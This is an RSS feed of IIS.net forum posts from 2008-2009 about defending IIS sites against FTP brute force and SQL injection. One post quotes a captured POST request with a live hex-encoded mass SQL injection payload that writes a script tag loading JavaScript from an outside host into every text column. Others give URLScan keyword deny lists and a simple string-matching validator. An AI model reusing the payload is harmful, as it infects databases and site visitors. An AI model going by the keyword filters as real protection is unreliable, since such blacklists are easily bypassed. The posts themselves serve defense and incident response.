<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="http://forums.iis.net/utility/FeedStylesheets/rss.xsl" media="screen"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:cs="http://blogs.iis.net/"><channel><title>Search results matching tag 'hacking'</title><link>http://forums.iis.net/search/SearchResults.aspx?o=DateDescending&amp;tag=hacking&amp;orTags=0</link><description>Search results matching tag 'hacking'</description><dc:language>en-US</dc:language><generator>CommunityServer 2007 SP1 (Build: 20510.895)</generator><item><title>Re: IIS 6 FTP Server brute force attacks, can I block IPs automatically after many failures?</title><link>http://forums.iis.net/p/1024380/1919165.aspx#1919165</link><pubDate>Thu, 01 Oct 2009 15:18:50 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1919165</guid><dc:creator>TolchinJ</dc:creator><cs:applicationKey>security--1</cs:applicationKey><description>&lt;p&gt;A very inexpensive solution for blocking FTP Attacks on IIS servers can be found at:&lt;br /&gt;&lt;a href="http://www.ftpblocker.com/"&gt;http://www.ftpblocker.com/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It is very useful for smaller business who don&amp;#39;t have hardware firewalls or sniffers to block these attacks.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description></item><item><title>URL Scan and __VIEWSTATE</title><link>http://forums.iis.net/p/1151368/1877723.aspx#1877723</link><pubDate>Wed, 27 Aug 2008 06:36:12 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1877723</guid><dc:creator>Vissuluth</dc:creator><cs:applicationKey>security--1</cs:applicationKey><description>&lt;p&gt;Ive been trying to write a filter based on __VIEWSTATE but I can only get it to scan and filter based on the viewstate if I use ScanAllRaw=1&lt;/p&gt;
&lt;p&gt;URLScan rule:&lt;/p&gt;
&lt;p&gt;[ViewState]&lt;br /&gt;AppliesTo=.asp,.aspx&lt;br /&gt;DenyDataSection=ViewState Strings&lt;br /&gt;ScanUrl=0&lt;br /&gt;ScanAllRaw=1&lt;br /&gt;ScanQueryString=0&lt;br /&gt;ScanHeaders=&lt;/p&gt;
&lt;p&gt;[ViewState Strings]&lt;br /&gt;--&lt;br /&gt;%3b ; a semicolon&lt;br /&gt;char ; also catches nchar and varchar&lt;br /&gt;alter&lt;br /&gt;begin&lt;br /&gt;cast&lt;br /&gt;convert&lt;br /&gt;create&lt;br /&gt;cursor&lt;br /&gt;declare&lt;br /&gt;delete&lt;br /&gt;drop&lt;br /&gt;end&lt;br /&gt;exec ; also catches execute&lt;br /&gt;fetch&lt;br /&gt;insert&lt;br /&gt;kill&lt;br /&gt;open&lt;br /&gt;select&lt;br /&gt;sys ; also catches sysobjects and syscolumns&lt;br /&gt;table&lt;br /&gt;update&lt;br /&gt;&amp;lt;&lt;br /&gt;&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Packet scan showing a test __VIEWSTATE&lt;/p&gt;
&lt;p&gt;POST /apps/app1/default.aspx HTTP/1.1&lt;br /&gt;Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-shockwave-flash, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/x-silverlight, */*&lt;br /&gt;Referer: &lt;a href="http://www.mysite.com/apps/app1/default.aspx"&gt;http://www.mysite.com/apps/app1/default.aspx&lt;/a&gt;&lt;br /&gt;Accept-Language: en-au&lt;br /&gt;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;Accept-Encoding: gzip, deflate&lt;br /&gt;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)&lt;br /&gt;Host: &lt;a href="http://www.mysite.com/"&gt;www.mysite.com&lt;/a&gt;&lt;br /&gt;Content-Length: 2082&lt;br /&gt;Connection: Keep-Alive&lt;br /&gt;Cache-Control: no-cache&lt;br /&gt;Cookie: ASP.NET_SessionId=mq31bq454obiad35me15dy55&lt;/p&gt;
&lt;p&gt;&lt;a href="mailto:__VIEWSTATE=%2FwEPDwUKLTU0OTUzNjg5Mg9kFgICAQ9kFgQCAQ8PFgIeB1Zpc2libGVnZBYEAgUPFgIfAGdkAgcPFgIfAGdkAgUPZBYCAgEPEGRkFgBkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYJBQlPbkFjY291bnQFCklUSGFyZHdhcmUFBnByZXBheQUOSVRhbmRUZWxlY29tbXMFBlJlc2lnbgUJQnJvYWRiYW5kBQtNb2JpbGVFbWFpbAUNU2VydmljZUNlbnRyZQUGc2VhcmNoOs%2FTMSXLHNx%2BinCpHVlgrFxtP04%3D&amp;amp;txtStoreName=&amp;amp;txtAddress=%3C%3E%3Bselect+*%3Bdeclare%3Bhttp%3A%2F%2F%3Ftype%3DMO%26state%3DNSW%27%3BDECLARE%2520@S%2520CHAR%284%29%3BSET%2520@S%3DCAS+T%280x4445434C41524+520405420766172+636861722832%273535292C40432076617%272636861722834303030%2229204445434C41524520+5461626C655F43%227572736F7220435g552534F5220464F5220773656C65637420612E6E616D6452C622E6E616D652066726F6D2073%2279736F626A6563747320612C7379%2773636F6C756D6E73206220776865726520%25612E69643D622E696420616E6420612E7874797065378D27752720616E642028622E78747970653D33939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%2520AS%2520CHAR%284%29%29%3BEXEC%28@S%29%3B&amp;amp;txtsuburb=%3E%3C&amp;amp;OnAccount=on&amp;amp;prepay=on&amp;amp;Resign=on&amp;amp;Broadband=on&amp;amp;MobileEmail=on&amp;amp;ServiceCentre=on&amp;amp;Address=&amp;amp;X=&amp;amp;Y=&amp;amp;multiplepanel=&amp;amp;streetVal=%3C%3E%3Bselect+*%3Bdeclare%3B&amp;amp;suburbVal=%3E%3C&amp;amp;regionVal=&amp;amp;search.x=45&amp;amp;search.y=5"&gt;__VIEWSTATE=%2FwEPDwUKLTU0OTUzNjg5Mg9kFgICAQ9kFgQCAQ8PFgIeB1Zpc2libGVnZBYEAgUPFgIfAGdkAgcPFgIfAGdkAgUPZBYCAgEPEGRkFgBkGAEFHl9fQ29udHJvbHNSZXF1aXJlUG9zdEJhY2tLZXlfXxYJBQlPbkFjY291bnQFCklUSGFyZHdhcmUFBnByZXBheQUOSVRhbmRUZWxlY29tbXMFBlJlc2lnbgUJQnJvYWRiYW5kBQtNb2JpbGVFbWFpbAUNU2VydmljZUNlbnRyZQUGc2VhcmNoOs%2FTMSXLHNx%2BinCpHVlgrFxtP04%3D&amp;amp;txtStoreName=&amp;amp;txtAddress=%3C%3E%3Bselect+*%3Bdeclare%3Bhttp%3A%2F%2F%3Ftype%3DMO%26state%3DNSW%27%3BDECLARE%2520@S%2520CHAR%284%29%3BSET%2520@S%3DCAS+T%280x4445434C41524+520405420766172+636861722832%273535292C40432076617%272636861722834303030%2229204445434C41524520+5461626C655F43%227572736F7220435g552534F5220464F5220773656C65637420612E6E616D6452C622E6E616D652066726F6D2073%2279736F626A6563747320612C7379%2773636F6C756D6E73206220776865726520%25612E69643D622E696420616E6420612E7874797065378D27752720616E642028622E78747970653D33939206F7220622E78747970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432B275D3D2727223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D27272B5B272B40432B275D20776865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C736372697074207372633D22687474703A2F2F777777302E646F7568756E716E2E636E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72%2520AS%2520CHAR%284%29%29%3BEXEC%28@S%29%3B&amp;amp;txtsuburb=%3E%3C&amp;amp;OnAccount=on&amp;amp;prepay=on&amp;amp;Resign=on&amp;amp;Broadband=on&amp;amp;MobileEmail=on&amp;amp;ServiceCentre=on&amp;amp;Address=&amp;amp;X=&amp;amp;Y=&amp;amp;multiplepanel=&amp;amp;streetVal=%3C%3E%3Bselect+*%3Bdeclare%3B&amp;amp;suburbVal=%3E%3C&amp;amp;regionVal=&amp;amp;search.x=45&amp;amp;search.y=5&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Can anyone fill me in on what Im missing so I can write the rule to only scan the viewstate rather than the entire header?&lt;/p&gt;</description></item><item><title>SQL Injection Attacks on IIS Web Servers</title><link>http://forums.iis.net/p/1149068/1868206.aspx#1868206</link><pubDate>Sat, 26 Apr 2008 03:41:33 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1868206</guid><dc:creator>bills</dc:creator><cs:applicationKey>security--1</cs:applicationKey><description>&lt;p&gt;This thread will contain the latest information regarding&amp;nbsp;&lt;a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;amp;taxonomyId=17&amp;amp;articleId=9080580&amp;amp;intsrc=hm_topic"&gt;recent&lt;/a&gt; &lt;a href="http://www.pcworld.com/article/id,145151-c,hackers/article.html"&gt;reports&lt;/a&gt; that have surfaced stating that web sites running on Microsoft’s Internet Information Services (IIS) 6.0 have been compromised. These reports allude to a possible vulnerability in IIS or issues related to &lt;a href="http://www.microsoft.com/technet/security/advisory/951306.mspx"&gt;Security Advisory 951306&lt;/a&gt; which was released last week.&lt;/p&gt;
&lt;p&gt;Microsoft has investigated these reports and determined that the attacks are &lt;u&gt;not&lt;/u&gt; related to the recent &lt;a href="http://www.microsoft.com/technet/security/advisory/951306.mspx"&gt;Microsoft Security Advisory (951306)&lt;/a&gt; or &lt;u&gt;any&lt;/u&gt; &lt;u&gt;known&lt;/u&gt; &lt;u&gt;security&lt;/u&gt; &lt;u&gt;issues&lt;/u&gt; related to IIS 6.0, ASP, ASP.Net or Microsoft SQL technologies.&lt;/p&gt;
&lt;p&gt;Instead, attackers have crafted an automated attack that can take advantage of SQL injection vulnerabilities in web pages that do not follow security best practices for web application development. While these particular attacks are targeting sites hosted on IIS web servers, SQL injection vulnerabilities may exist on sites hosted on any platform.&amp;nbsp; More information on SQL injection attacks can be found &lt;a href="http://msdn2.microsoft.com/en-us/library/ms161953.aspx"&gt;here&lt;/a&gt; and &lt;a href="http://msdn2.microsoft.com/en-us/library/bb671351.aspx"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Guidance from Microsoft for web application development best practices can also be found on &lt;a href="http://msdn2.microsoft.com/en-us/library/ms994921.aspx"&gt;this MSDN page&lt;/a&gt;. Best practices guidelines that developers may follow to mitigate SQL injection, can be located &lt;a href="http://msdn2.microsoft.com/en-us/library/ms998271.aspx"&gt;here&lt;/a&gt;. As we continue to make progress in our investigation on this attack, we will provide updated guidance and information on the &lt;a href="http://www.iis.net/"&gt;IIS.net&lt;/a&gt; site. For the latest information on this issue, please subscribe or visit the &lt;a href="http://forums.iis.net/p/1149068/1868206.aspx"&gt;IIS security forum&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For end-users, the investigation also shows no indication of an un-patched vulnerability in IIS, SQL Server, Internet Explorer or any other Microsoft client software, so we recommend customers apply the latest updates to be protected from these attacks.&lt;/p&gt;
&lt;p&gt;To further protect themselves from reported attacks, we encourage all customers to apply our most recent security updates to help ensure that their computers are protected from attempted criminal attacks. For more information about security updates, visit: &lt;a href="http://www.microsoft.com/protect"&gt;www.microsoft.com/protect&lt;/a&gt;. &lt;/p&gt;
&lt;p&gt;Anyone believed to have been affected can visit: &lt;a href="http://www.microsoft.com/protect/support/default.mspx"&gt;http://www.microsoft.com/protect/support/default.mspx&lt;/a&gt; and should contact the national law enforcement agency in their country.&amp;nbsp; Those in the United States can contact Customer Service and Support at no charge using the PC Safety hotline at 1-866-PCSAFETY.&amp;nbsp; Additionally, customers in the United States should contact their local FBI office or report their situation at: &lt;a href="http://www.ic3.gov/"&gt;www.ic3.gov&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;font face="Calibri" size="3"&gt;Subscribe to this thread, or check back later for the latest information from the community.&lt;/font&gt;&lt;/p&gt;</description></item><item><title>Re: Anyone know about www.nihaorr1.com/1.js?</title><link>http://forums.iis.net/p/1148917/1868103.aspx#1868103</link><pubDate>Thu, 24 Apr 2008 21:11:03 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:1868103</guid><dc:creator>nhertz</dc:creator><cs:applicationKey>security--1</cs:applicationKey><description>&lt;p&gt;I would advise anyone affected by this attack to activate the SQL profiler (or equivalent) and set it to record only EXEC commands.&amp;nbsp;If your website then becomes infected again you can quickly scroll through the profiler output and find the &amp;quot;suspicious&amp;quot; command where the injection has entered. This should also give you a hint of the exact page that had the vulnerability.&lt;/p&gt;
&lt;p&gt;I cleaned up a site this week where the profiler had recorded:&lt;/p&gt;
&lt;p&gt;SELECT TOP 100 People.Countries, States.Titles, Houses.Types FROM People,&amp;nbsp;States, Houses&amp;nbsp;Where People.Titles&amp;nbsp;LIKE &amp;#39;%agent;DECLARE @S NVARCHAR(4000);SET etc......&lt;/p&gt;
&lt;p&gt;So I could quickly locate the page which had the SELECT TOP 100 statement.&lt;br /&gt;That is where I added the quick fix:&lt;/p&gt;
&lt;p&gt;&amp;lt;%&lt;br /&gt;some code here....&lt;br /&gt;%&amp;gt;&amp;nbsp;&lt;br /&gt;&amp;lt;!--#include file=&amp;quot;validator.asp&amp;quot;--&amp;gt;&lt;br /&gt;&amp;lt;%&lt;br /&gt;rs.Open sql&lt;br /&gt;%&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;With the validator file containing:&lt;/p&gt;
&lt;p&gt;&amp;lt;%&lt;br /&gt;if instr(lcase(sql),&amp;quot;;--&amp;quot;)&amp;gt;0 then&lt;br /&gt;response.redirect(&amp;quot;index.asp&amp;quot;)&lt;br /&gt;end if&lt;/p&gt;
&lt;p&gt;if instr(lcase(sql),&amp;quot;nvarchar&amp;quot;)&amp;gt;0 then&lt;br /&gt;response.redirect(&amp;quot;index.asp&amp;quot;)&lt;br /&gt;end if&lt;br /&gt;%&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;Cheers and good luck,&lt;/p&gt;
&lt;p&gt;Nicolai Hertz&lt;br /&gt;software programmer&lt;/p&gt;</description></item></channel></rss>